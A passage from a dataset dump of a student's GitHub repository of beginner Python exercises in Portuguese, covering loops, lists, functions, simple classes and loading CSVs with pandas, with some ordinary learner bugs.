primeiro elemento de valor '2' da esquerda para a direita\nnum.sort()\nprint(num)\nnum.sort(reverse=True)\nprint(num)\na = [2,3,4,7]\n# a = b -> neste caso estamos ligando duas listas de forma que a alteração em uma seja repetida na outra\nb = a[:] # -> neste caso estamos fazendo com que 'b' receba todos os itens de 'a' em outras palavras estamos fazendo uma copia de 'b'\nb[2] = 8\nprint(f'Lista A: {a}')\nprint(f'Lista B: {b}')\n\n" }, { "alpha_fraction": 0.5553278923034668, "alphanum_fraction": 0.5840163826942444, "avg_line_length": 27.705883026123047, "blob_id": "00fe887d8462f33811385bdac25d60bbf423c19b", "content_id": "c66e073936b9cce9313964d5e48c901105629ea4", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 496, "license_type": "permissive", "max_line_length": 52, "num_lines": 17, "path": "/Curso-Em-Video/M3/ex75.py", "repo_name": "Italo-Neves/Python", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\nn3 = 0\nrepet = 0\npar = 0\nnum =(int(input('Digite um número: ')),\n int(input('Digite um número: ')),\n int(input('Digite um número: ')),\n int(input('Digite um número: ')))\nfor p,n in enumerate(num):\n if n % 2 ==0:\n par +=1\n if 3 in num:\n n3 = p\nprint(f'Você digitou os valores: {num}')\nprint(f'O valor 9 se repetiun {num.count(9)} vezes')\nprint(f'O número 3 apareceu na posição {n3}')\nprint(f'O total de valore pares foram {par}')\n" }, { "alpha_fraction": 0.5309168696403503, "alphanum_fraction": 0.5671641826629639, "avg_line_length": 30.33333396911621, "blob_id": "4ebd834bf0ed3fd4af45c1ffc7bfd9b6cb4a35fe", "content_id": "f7cacbfee293042984474eaf34c478bf5d6882ed", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 472, "license_type": "permissive", "max_line_length": 83, "num_lines": 15, "path": "/Curso-Em-Video/M3/ex113.py", "repo_name": "Italo-Neves/Python", "src_encoding": "UTF-8", "text": "def leiaInt(msg):\n while True:\n try:\n n = int(input(msg))\n except (ValueError, TypeError):\n print('\\033[31mERRO: por favor digite um número inteiro válido.\\033[m')\n continue\n except (KeyboardInterrupt):\n print('\\n \\033[31mEntrada de dados interropida pelo usúario.\\033[m ')\n return 0\n else:\n return n\n\nnum =leiaInt('Digite um valor: ')\nprint(f'O valor digitado foi {num}')" }, { "alpha_fraction": 0.5584415793418884, "alphanum_fraction": 0.6883116960525513, "avg_line_length": 25, "blob_id": "70ee41d48afaf7dd4ed4a72515272087bfba0b2b", "content_id": "fd8760b613717b3f6886b816cbd4f4b1e0122a42", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 77, "license_type": "permissive", "max_line_length": 38, "num_lines": 3, "path": "/Curso-Em-Video/M3/ex110.py", "repo_name": "Italo-Neves/Python", "src_encoding": "UTF-8", "text": "import mod110\np = float(input('Digite o preco: R$'))\nmod110.resumo(p, 80 ,35)" }, { "alpha_fraction": 0.6079545617103577, "alphanum_fraction": 0.6420454382896423, "avg_line_length": 24.14285659790039, "blob_id": "b46b82f0706497896e2d05cd5fd750544cb0e3b0", "content_id": "3be85e2181e30a5a1c903dcd41ae9dba6a847dff", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 177, "license_type": "permissive", "max_line_length": 64, "num_lines": 7, "path": "/Curso-Em-Video/M2/ex46.py", "repo_name": "Italo-Neves/Python", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\nimport time\nstart = input('Aperte ENTER para iniciar a contagem regressiva')\nfor i in range(10,0,-1):\n print(i)\n time.sleep(1)\nprint('LANÇAR!!!')\n" }, { "alpha_fraction": 0.49250534176826477, "alphanum_fraction": 0.5128479599952698, "avg_line_length": 25.714284896850586, "blob_id": "64b769a5e0b5a9f171d89ab4068fdc85c0839681", "content_id": "97faa47862f9e6782e4f880cd93701da93e88652", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 945, "license_type": "permissive", "max_line_length": 76, "num_lines": 35, "path": "/Curso-Em-Video/M3/ex105.py", "repo_name": "Italo-Neves/Python", "src_encoding": "UTF-8", "text": "def notas(*n, sit=''):\n \"\"\"\n -> Função para analisar notas e situações de varios alunos.\n :param n: uma ou mais notas dos alunos\n :param sit: valor opcional, indicando se deve ou não aceitar a validação\n :return: dicionario com varias informções sobre a situação da turma.\n \"\"\"\n menor =99999\n maior = 0\n tot = 0\n aluno = dict()\n situacao = ''\n for i in n:\n tot+= i\n med = tot/len(n)\n if i > maior:\n maior = i\n if i < menor:\n menor = i\n if med <= 7:\n situacao ='BOA'\n if med > 5 and med < 7:\n situacao ='Rasoavel'\n if med < 6:\n situacao ='Ruim'\n aluno['total'] = len(n)\n aluno['maior'] = maior\n aluno['menor'] = menor\n aluno['media'] = med\n if sit:\n aluno['Situacao'] = situacao\n return aluno\n\nresp = notas(5.5,2.5,10, 6.5, sit=True)\nprint(resp)" }, { "alpha_fraction": 0.6486486196517944, "alphanum_fraction": 0.6554054021835327, "avg_line_length": 36, "blob_id": "fc3edb2cbcd8f8353f34fb49568926b1e99061bc", "content_id": "b87ad7d4aee6473c044a77f95148718adf792585", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 151, "license_type": "permissive", "max_line_length": 59, "num_lines": 4, "path": "/Curso-Em-Video/M1/ex16.py", "repo_name": "Italo-Neves/Python", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\nfrom math import trunc\nnum = float(input('Digite um número: '))\nprint(f'O valor do inteiro do número {num} é {trunc(num)}')\n" }, { "alpha_fraction": 0.5170316100120544, "alphanum_fraction": 0.5571776032447815, "avg_line_length": 42.26315689086914, "blob_id": "0cd23836944857f5c7fde24886bc6ba9ee5ddced", "content_id": "25b33b95d34de970a0f85d35c04efa14b70faa5a", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 836, "license_type": "permissive", "max_line_length": 94, "num_lines": 19, "path": "/Curso-Em-Video/M2/ex44.py", "repo_name": "Italo-Neves/Python", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\nvalor = float(input('Digite o valor do produto: '))\nop = int(input(\"\"\"\\nEscolha a forma de pagamento:\n \\n [1] -> Á vista no dinheiro 10% de esconto\n \\n [2] -> Á vista no cartão 5% de desconto\n \\n [3] -> Até 2x no cartão o preço normal\n \\n [4] -> 3X ou mais no cartão 20% de juros\n \"\"\"))\nif op == 1:\n nvalor = valor - (valor*(10/100))\n print(f'O Preço original é {valor} com o desconto do pagamento em dinheiro fica {nvalor}')\nelif op == 2:\n nvalor = valor - (valor*(5/100))\n print(f'O novo preço com desconto de 5% é {nvalor}')\nelif op == 3:\n print(f'O preço do produto permanece {valor}')\nelif op == 4:\n nvalor = valor + (valor*(20/100))\n print(f'O novo prço com acrescimo de 20% é {nvalor}')\n" }, { "alpha_fraction": 0.6826003789901733, "alphanum_fraction": 0.6921606063842773, "avg_line_length": 86.16666412353516, "blob_id": "3c914b1cf788b2e44d9f6d0b7e36748ce5e9cb7f", "content_id": "fdce2a7b447ab24090a9e4fbe6302565352109df", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 535, "license_type": "permissive", "max_line_length": 237, "num_lines": 6, "path": "/Curso-Em-Video/M3/ex73.py", "repo_name": "Italo-Neves/Python", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\ntime = ('Corinthias','Palmeiras','Santos','Grêmio','Cruzeiro','Flamengo','Vasco','Chapecoence','Atletico','Botafogo','Atlético-PR','Bahia','São Paulo','Fluminense','Sport Recife','EC Vitoria','Coritba','Avaí','Ponte Preta','Atletico-GO')\nprint(f'\\n Lista dos times do brasileirão: {time}')\nprint(f'\\n Os 5 primeiros times do brasileirão são: {time[:5]}')\nprint(f'\\n Os 4 últimos times do brasileirão são: {time[-4:]}')\nprint(f'\\n Lista dos times do brasileirão em ordem alfabética: {sorted(time)}')\n" }, { "alpha_fraction": 0.5830258131027222, "alphanum_fraction": 0.6974169611930847, "avg_line_length": 53.400001525878906, "blob_id": "2b4e89c4dd2e1acf40f9c51bcf82be363fffe616", "content_id": "e38d9355034d3c8d1cf56c99a709dd69c5b01b5b", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 273, "license_type": "permissive", "max_line_length": 75, "num_lines": 5, "path": "/Curso-Em-Video/M3/ex108.py", "repo_name": "Italo-Neves/Python", "src_encoding": "UTF-8", "text": "import mod108\np = float(input('Digite o preco: R$'))\nprint(f'A metade de {mod108.moeda(p)} é {mod108.moeda(mod108.metade(p))} ')\nprint(f'O dobro de {mod108.moeda(p)} é {mod108.moeda(mod108.dobro(p))}')\nprint(f'Aumentando 10%, temos {mod108.moeda(mod108.aumentar(p,10))}')" }, { "alpha_fraction": 0.41208791732788086, "alphanum_fraction": 0.44505494832992554, "avg_line_length": 19.22222137451172, "blob_id": "d12aca6c7713361bd51156ce9a5d3c76dafcdcef", "content_id": "528925bd09cedfdacace8265afd7c7cecd77b025", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 184, "license_type": "permissive", "max_line_length": 40, "num_lines": 9, "path": "/Curso-Em-Video/M2/ex60.py", "repo_name": "Italo-Neves/Python", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\nprint('\\n----------Fatorial-----------')\nn = int(input('Digite um número: '))\nnf=n-1\nn1 = n\nwhile nf >0:\n n = n * nf\n nf = nf - 1\nprint(f'{n1}! é {n}')\n" }, { "alpha_fraction": 0.6768837571144104, "alphanum_fraction": 0.6781609058380127, "avg_line_length": 36.28571319580078, "blob_id": "d0cc3056c08a51d8235812e1e0063d4a53161665", "content_id": "251683ecc2aa9b5a4b2a40cb6229c7c4c8b97966", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 798, "license_type": "permissive", "max_line_length": 101, "num_lines": 21, "path": "/Curso-Em-Video/M1/modulos.py", "repo_name": "Italo-Neves/Python", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\n\"\"\"\n* Podemos importar bibliotecas do python com: import <biblioteca>\n -> Na necessidade de apenas uma função de um modulo especifico: from <biblioteca> import <função>\n\n* Exmplo de modulos usados:\n math -> biblioteco de funções matematicas\n - ceil: Arredonda um valor para cima\n - floor: Arredonda um valor para baixo\n - trunc: Trunca um número(Elimina o que esta depois da virgula)\n - pow: pontenciação\n - sqrt: Calcula a raiz quadrada de um número\n - Fatorial: olha o nome.\n random -> funções com números randomicos\n* pesquise o PyId no site oficial do python para ver o index de bibliotecas\n\"\"\"\nimport math\n\nnum = int(input('Digite um número: '))\nraiz = math.sqrt(num)\nprint(f'A raiz de {num} é {raiz}')\n" }, { "alpha_fraction": 0.7182539701461792, "alphanum_fraction": 0.7301587462425232, "avg_line_length": 32.599998474121094, "blob_id": "c83433b06e6588a7dbf7d12b50c0e549bce6cadc", "content_id": "70c5d0b992a2a8d148d9cc79a233f02607c7af24", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 534, "license_type": "permissive", "max_line_length": 119, "num_lines": 15, "path": "/curso_monitoria/break.py", "repo_name": "Italo-Neves/Python", "src_encoding": "UTF-8", "text": "#Break\n'''\nA instrução break finaliza a iteração e o Script continua a execução normalmente. O objetivo dessa instrução é fornecer\na capacidade de forçar a interrupção da iteração.\n\nA seguir, temos um código simples que utiliza a instrução break pra finalizar a execução do laço de repetição while,\nquando a condição definida com a instrução if retornar verdadeiro.\n'''\nx = 0\nfor x in range(0,11):\n x+=1\n if(x==5):\n print(\"Interrompendo a execução da repetição.\")\n break\n print(x)\n" }, { "alpha_fraction": 0.4762931168079376, "alphanum_fraction": 0.4913793206214905, "avg_line_length": 26.294116973876953, "blob_id": "099feb966ae3e25bd4cbeb24ab4c4e4ea1b48825", "content_id": "ddfde7256ab229268164138290de89fcc50afd5d", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 466, "license_type": "permissive", "max_line_length": 65, "num_lines": 17, "path": "/Curso-Em-Video/M3/ex80.py", "repo_name": "Italo-Neves/Python", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\nvetor = []\nfor i in range(0,5):\n n = int(input('Digie um valor: '))\n if i == 0:\n vetor.append(n)\n elif n > vetor[len(vetor)-1]:\n vetor.append(n)\n else:\n #varre a lista para encontrar a posição correto do numero\n pos = 0\n while pos < len(vetor):\n if n <= vetor[pos]:\n vetor.insert(pos,n)\n break\n pos +=1\nprint(f'O vetor gerado foi: {vetor}')\n" }, { "alpha_fraction": 0.7493606209754944, "alphanum_fraction": 0.7595908045768738, "avg_line_length": 42.55555725097656, "blob_id": "2d53191d8d900f50734112296d9c49a8c7ee5337", "content_id": "0d2f751cf610e232609ee8deee1938b252412f53", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 391, "license_type": "permissive", "max_line_length": 108, "num_lines": 9, "path": "/Introdução a Ciência de Dados/alura_intro/aula01.py", "repo_name": "Italo-Neves/Python", "src_encoding": "UTF-8", "text": "import pandas as pd\nuri =\"https://raw.githubusercontent.com/alura-cursos/introducao-a-data-science/master/aula4.1/movies.csv\"\nfilmes = pd.read_csv(uri)\n#print(filmes)\nfilmes.columns = [\"filmes_ID\",\"titulo\",\"genero\"]\nprint(filmes.head())\nurin = \"https://raw.githubusercontent.com/alura-cursos/introducao-a-data-science/master/aula1.2/ratings.csv\"\nnotas = pd.read_csv(urin)\nprint(notas.head())" }, { "alpha_fraction": 0.6536312699317932, "alphanum_fraction": 0.6564245820045471, "avg_line_length": 38.77777862548828, "blob_id": "2212882c66edba18cdc748396ead4bdb4940a7d6", "content_id": "dd3fdf9212ebac0ace846f3c95f68239357de9be", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 365, "license_type": "permissive", "max_line_length": 51, "num_lines": 9, "path": "/Curso-Em-Video/M1/dissecando.py", "repo_name": "Italo-Neves/Python", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\nx = input(\"Digite algo: \")\nprint(f'O tipo primitivo deste valor é: {type(x)}')\nprint(f'Só tem espaços? {x.isspace()}')\nprint(f'so tem numero? {x.isnumeric()}')\nprint(f'É alfanumerico? {x.isalpha()}')\nprint(f'Está entre maiusculas? {x.isupper()}')\nprint(f'está em minusculas? {x.islower()}')\nprint(f'Está capitalizada? {x.istitle()}')\n" }, { "alpha_fraction": 0.4888579249382019, "alphanum_fraction": 0.538997232913971, "avg_line_length": 28.91666603088379, "blob_id": "545e8a2c181d6ab853c87d75b987694234c3ae90", "content_id": "435e91699bc9c75b4cc8aec3a443ddb016f0a4eb", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 720, "license_type": "permissive", "max_line_length": 71, "num_lines": 24, "path": "/Curso-Em-Video/M3/ex89.py", "repo_name": "Italo-Neves/Python", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\ntoken = list()\nwhile True:\n name =str(input('Digite o nome do aluno: '))\n grd1 = float(input('Nota 1: '))\n grd2 = float(input('Nota 2: '))\n avg = (grd1 + grd2)/2\n token.append([name,[grd1,grd2],avg])\n op =str(input('Deseja continuar? '))\n if op in 'Nn':\n break\nprint('-=-'*30)\nprint(f'{\"NO.\":<4}{\"NOME\":10}{\"MÉDIA\":>8}')\nprint('-'*26)\nfor i, a in enumerate(token):\n print(f'{i:<4}{a[0]:<10}{a[2]:>8.1f}')\nwhile True:\n print('-'*36)\n opn =int(input('Mostrar as notas de qual aluno? (999 interrompe)'))\n if opn ==999:\n print('Finalizando...')\n break\n if opn<= len(token) - 1:\n print(f'Notas de {token[opn][0]} são {ficha[opc][1]}')\n" }, { "alpha_fraction": 0.5845410823822021, "alphanum_fraction": 0.6618357300758362, "avg_line_length": 40.599998474121094, "blob_id": "6751c23b6f8a67bd0e1b2d4ed98765651fa4bbd3", "content_id": "6f48914765c3edd5d8e3ce9ad44f5320fe1fec5c", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 209, "license_type": "permissive", "max_line_length": 57, "num_lines": 5, "path": "/Curso-Em-Video/M3/ex107.py", "repo_name": "Italo-Neves/Python", "src_encoding": "UTF-8", "text": "import mod107\np = float(input('Digite o preco: R$'))\nprint(f'A metade de {p} é R${mod107.metade(p)} ')\nprint(f'O dobro de {p} é R${mod107.dobro(p)}')\nprint(f'Aumentando 10%, temos R${mod107.aumentar(p,10)}')" }, { "alpha_fraction": 0.5753424763679504, "alphanum_fraction": 0.5821917653083801, "avg_line_length": 21.461538314819336, "blob_id": "ce5f05488d3bedb725c4e9e89fed29cfc0da1666", "content_id": "e0d6fd6aaf59a02311dde759c076f1092a44b9f5", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 295, "license_type": "permissive", "max_line_length": 57, "num_lines": 13, "path": "/analizador.py", "repo_name": "Italo-Neves/Python", "src_encoding": "UTF-8", "text": "import re\n\nexpression = input(\"Digite a expresão a ser analizada: \")\n\ndef space(x):\n total_space = 0\n for i in x:\n if x.find(''):\n total_space += 1\n return total_space\n\nprint(f'\\n Expressão: {expression}'\n f'\\n Total de espaçosi: {space(expression)}')\n" }, { "alpha_fraction": 0.5444126129150391, "alphanum_fraction": 0.5472779273986816, "avg_line_length": 33.900001525878906, "blob_id": "b58ae84cd048cc229fe99d4e55538781ee165c72", "content_id": "f6858591f1b72926969e85b357079eb17410443e", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 349, "license_type": "permissive", "max_line_length": 57, "num_lines": 10, "path": "/Curso-Em-Video/M3/ex77.py", "repo_name": "Italo-Neves/Python", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\npalavras = ('aprender','programar','linguagem','python',\n 'curso','gratis','estudar','praticar',\n 'trabalhar','mercado','programador','futuro')\n\nfor p in palavras:\n print(f'\\n Na palavra {p} temos: ', end='')\n for letra in p:\n if letra.lower() in 'aeiou':\n print(letra, end=' ')\n" }, { "alpha_fraction": 0.7220543622970581, "alphanum_fraction": 0.731117844581604, "avg_line_length": 24.538461685180664, "blob_id": "aedc14320f07471c8c0d0a4408fc558039aacbbe", "content_id": "e110f333eb2e412505d6b235b918d10207521ab4", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 343, "license_type": "permissive", "max_line_length": 50, "num_lines": 13, "path": "/Curso-Em-Video/M3/modulos.py", "repo_name": "Italo-Neves/Python", "src_encoding": "UTF-8", "text": "import modulos2\n\"\"\"\n# Vantagens da modularização\n- Organização do código\n- Facilidade na manutenção\n- Ocultação de código detalhado\n- Reutilizar o codigo em outros projetos\n\n\"\"\"\nnum = int(input('Digite um valor'))\nfat = modulos2.fatorial(num)\nprint(f'O fatorial de {num} é {fat}')\nprint(f'O dobro de {num} é {modulos2.dobro(num)}')" }, { "alpha_fraction": 0.5611510872840881, "alphanum_fraction": 0.5719424486160278, "avg_line_length": 24.363636016845703, "blob_id": "4859611a09f19eeb06979af6e91ecaa5acd77403", "content_id": "a9a4a5025d48f86cdde89dba532cb36dac028149", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 278, "license_type": "permissive", "max_line_length": 57, "num_lines": 11, "path": "/Paradigmas_Program/Produto.py", "repo_name": "Italo-Neves/Python", "src_encoding": "UTF-8", "text": "class Produto:\n def __init__(self, idt, descricao, preco=0.0, qtd=1):\n self.idt = idt\n self.descricao = descricao\n self.preco = preco\n self.qtd = qtd\n\n def get_descricao(self):\n return self.descricao\n def get_preco(self):\n pass" }, { "alpha_fraction": 0.6061007976531982, "alphanum_fraction": 0.6511936187744141, "avg_line_length": 40.83333206176758, "blob_id": "aeb0329976587d6d5f1aa07ca94a58ddecfd7d23", "content_id": "31c1468707fe6fa429a7a447f36ec2f30f1c4ede", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 759, "license_type": "permissive", "max_line_length": 79, "num_lines": 18, "path": "/Curso-Em-Video/M2/ex42.py", "repo_name": "Italo-Neves/Python", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\nr1 = float(input('Digite o valor da reta 01: '))\nr2 = float(input('Digite o valor da reta 02: '))\nr3 = float(input('Digite o valor da reta 03:'))\n\nif r1 < r2 + r3 and r2 < r1 + r3 and r3 < r2 + r1:\n triangulo = True\n print('Esse valores geram um triagunlo ')\nelse:\n triagunlo = False\n print('Esse valores não geram um triagunlo')\n\nif triangulo == True and r1 == r2 == r3:\n print('Por possuir todos os lados iguais esse triagunlo é EQUILATERO')\nelif triangulo == True and r1 == r2 != r3 or r2 == r3 != r1 or r3 == r1 != r2:\n print('Por possuir dois lados iguais esse triangulo é isórceles')\nelif triangulo == True and r1 != r2 != r3:\n print('Por possuir todos os lados diferentes esse triangulo é Escaleno')\n\n" }, { "alpha_fraction": 0.48524925112724304, "alphanum_fraction": 0.4950830936431885, "avg_line_length": 26.05504608154297, "blob_id": "e5512b9aae4904a93e893b53db06d5825d23f305", "content_id": "e0202201911510b0bee05dbb89c0ec5730726e98", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2951, "license_type": "permissive", "max_line_length": 204, "num_lines": 109, "path": "/Paradigmas_Program/Italo_Vinicius_Neves_Cordeiro.py", "repo_name": "Italo-Neves/Python", "src_encoding": "UTF-8", "text": "\"\"\"\nNome: Italo Vinicius Neves Cordeiro\nRA: 21908201\n\"\"\"\nclass Disciplina:\n def __init__(self, identificador, nome):\n self._identificador = identificador\n self._nome = nome\n self._professor = []\n\n @property\n def id(self):\n return self._identificador\n\n @id.setter\n def id(self, identificador):\n self._identificador = identificador\n\n @property\n def nome(self):\n return self._nome\n\n @nome.setter\n def nome(self, nome):\n self._nome = nome\n\n @property\n def professor(self):\n return self._professor\n\n @professor.setter\n def professor(self,professor):\n self.professor = professor\n\n def cadastra_profesor(self,professor):\n self.professor.append(professor)\n\n def monstra_dados_disciplina(self):\n print(f'\\n Id:{self.id}'\n f'\\n Nome: {self.nome}'\n f'\\n \\n '\n f'Lecionada por: ')\n for professor in self._professor:\n professor.mostra_professor()\n def consulta_nome_professor(self):\n nome = str(input('Digite o nome do professor: '))\n for professor in self._professor:\n if professor.nome == nome:\n professor.mostra_professor()\n else:\n print('Professor não cadastrado!')\n\n def altera_idade_professor(self, nidadde):\n p = str(input('Qual professor você deseja modificar? '))\n self.consulta_nome_professor()\n nidadde = str(input('Insira o novo nome: '))\n\n def dados_professor_mais_novo(self):\n pass\n\n#==========================================================================================================================================================================================================\n\nclass Professor:\n def __init__(self, cpf, nome, idade):\n self._cpf = cpf\n self._nome = nome\n self._idade = idade\n self._disciplina = None\n\n @property\n def cpf(self):\n return self._cpf\n\n @cpf.setter\n def cpf(self,cpf):\n self._cpf = cpf\n\n @property\n def nome(self):\n return self._nome\n @nome.setter\n def nome(self, nome):\n self._nome = nome\n\n @property\n def idade(self):\n return self._idade\n\n @idade.setter\n def idade(self, idade):\n self._nome = idade\n\n def mostra_professor(self):\n print(f'\\n Nome: {self.nome}'\n f'\\n CPF: {self.cpf}'\n f'\\n Idade: {self.idade}')\n\n def calcula_data_nascimento(self):\n pass\n\n#===========================================================================================================================================================================================================\nif __name__ == '__main__':\n\n p1 = Professor(12334234,'Italo',22)\n d1 = Disciplina(12312,'Historia')\n Professor.disciplina = Disciplina\n d1.cadastra_profesor(p1)\n d1.monstra_dados_disciplina()\n d1.consulta_nome_professor()\n" }, { "alpha_fraction": 0.6095890402793884, "alphanum_fraction": 0.6232876777648926, "avg_line_length": 47, "blob_id": "42455ffb410a34229c7e21fcf533fdc6432057c4", "content_id": "25c1ee05792d096c0bceb3909afd6e2310bdf9eb", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 146, "license_type": "permissive", "max_line_length": 59, "num_lines": 3, "path": "/Curso-Em-Video/M1/ex24.py", "repo_name": "Italo-Neves/Python", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\ncidade =str(input('Digite o nome da sua cidade: ')).strip()\nprint(\"Sua cidade tem santo no nome? \",cidade[:5]=='santo')\n\n\n" }, { "alpha_fraction": 0.4057970941066742, "alphanum_fraction": 0.4746376872062683, "avg_line_length": 26.5, "blob_id": "3182b810e89b6d730d0dd592248f3c34c402b219", "content_id": "e48505b74daa1a6c638b1e85045ab746be0bd1b3", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 276, "license_type": "permissive", "max_line_length": 64, "num_lines": 10, "path": "/Curso-Em-Video/M3/ex86.py", "repo_name": "Italo-Neves/Python", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\nmatrix = [[0,0,0],[0,0,0],[0,0,0]]\nfor l in range(0,3):\n for c in range(0,3):\n matrix[l][c] = int(input(f'Digite o valor [{l}][{c}]:'))\n\nfor l in range(0,3):\n for c in range(0,3):\n print(f'[{matrix[l][c]:^3}]', end='')\n print()\n\n" }, { "alpha_fraction": 0.5528700947761536, "alphanum_fraction": 0.5694863796234131, "avg_line_length": 19.71875, "blob_id": "28de89543a0865a5c61c45695bb4e94c45c10da0", "content_id": "dc67888a781a76df330b595c72a34ebb53491d16", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 662, "license_type": "permissive", "max_line_length": 69, "num_lines": 32, "path": "/PythonPOO/produtos.py", "repo_name": "Italo-Neves/Python", "src_encoding": "UTF-8", "text": "class Produto:\n def __init__(self, nome, preco):\n self.nome = nome\n self.preco = preco\n\n def desconto(self, percentual):\n self._preco = self._preco - (self._preco * (percentual/ 100))\n\n @property\n def nome(self):\n return self._nome\n\n @nome.setter\n def nome(self,valor):\n self._nome = valor\n\n # Getter\n @property\n def preco(self):\n return self._preco\n #setter\n @preco.setter\n def preco(self, valor):\n if isinstance(valor,str):\n valor =float(valor.replace('R$',''))\n\n self._preco = valor\n\n\np1 = Produto('Camiseta','R$50')\np1.desconto(10)\nprint(p1.nome,p1.preco)" }, { "alpha_fraction": 0.460829496383667, "alphanum_fraction": 0.4930875599384308, "avg_line_length": 20.700000762939453, "blob_id": "0766b269f490fa9f8473b6300c952303eac453ea", "content_id": "519356b36bebb13dce86b2c35c2e679ce1519871", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 223, "license_type": "permissive", "max_line_length": 39, "num_lines": 10, "path": "/Curso-Em-Video/M2/ex52.py", "repo_name": "Italo-Neves/Python", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\nc = 0\nn = int(input('Digite um número: '))\nfor i in range(1,n+1):\n if n % i == 0:\n c += 1\nif c == 2:\n print(f'O número {n} é primo!')\nelse:\n print(f'O número {n} não é primo!')\n" }, { "alpha_fraction": 0.5019304752349854, "alphanum_fraction": 0.5559845566749573, "avg_line_length": 24.799999237060547, "blob_id": "1b40f84a9a9f7153b3420e4688a604d59f994266", "content_id": "120dc2eb95c8748350fce26ea12120b22c7be0e1", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 260, "license_type": "permissive", "max_line_length": 68, "num_lines": 10, "path": "/Curso-Em-Video/M2/ex54.py", "repo_name": "Italo-Neves/Python", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\nc = 1\nmaior = 0\nfor i in range(1,8):\n ano = int(input(f'Digite o ano de nascimento da {c}º pessoa: '))\n c += 1\n idade = 2020 - ano\n if idade >= 18:\n maior += 1\nprint(f'Das 7 pessas {maior} atigiram a maior idade!')\n\n" }, { "alpha_fraction": 0.436855673789978, "alphanum_fraction": 0.45876288414001465, "avg_line_length": 28.846153259277344, "blob_id": "77b318895c8ec171bc22bf4b3c5872ec0004ff6a", "content_id": "03bda68a6158335754cb87e093450b7d5714b678", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 780, "license_type": "permissive", "max_line_length": 58, "num_lines": 26, "path": "/Curso-Em-Video/M2/ex68.py", "repo_name": "Italo-Neves/Python", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\nimport random\nc = 0\nwhile True:\n pc = random.randint(1,10)\n n = int(input('Diga um valor: '))\n poi = str(input('Deseja par ou impar? [I/P]')).upper()\n soma = pc + n\n if poi == 'I':\n if soma % 2 !=0:\n print(f'O resultado foi:{soma} Você VENCEU!')\n c += 1\n print(f'Total de partidas {c}')\n break\n elif soma % 2 == 0:\n c += 1\n print(f'O resultado foi: {soma} você PERDEU')\n elif poi =='P':\n if soma % 2 == 0:\n c += 1\n print(f'O resultado foi: {soma} Você VENCEU!')\n print(f'Total de partidas {c}')\n break\n elif soma % 2 != 0:\n c += 1\n print(f'O resultado foi: {soma} você PERDEU')\n" }, { "alpha_fraction": 0.6949941515922546, "alphanum_fraction": 0.7013970017433167, "avg_line_length": 34.081634521484375, "blob_id": "95fd66ed9575b78508da4ff447fb00571cb3b0dc", "content_id": "ebd1be932ff8db1ae546c458a128201ac808181d", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1744, "license_type": "permissive", "max_line_length": 138, "num_lines": 49, "path": "/Curso-Em-Video/M3/Dicionarios.py", "repo_name": "Italo-Neves/Python", "src_encoding": 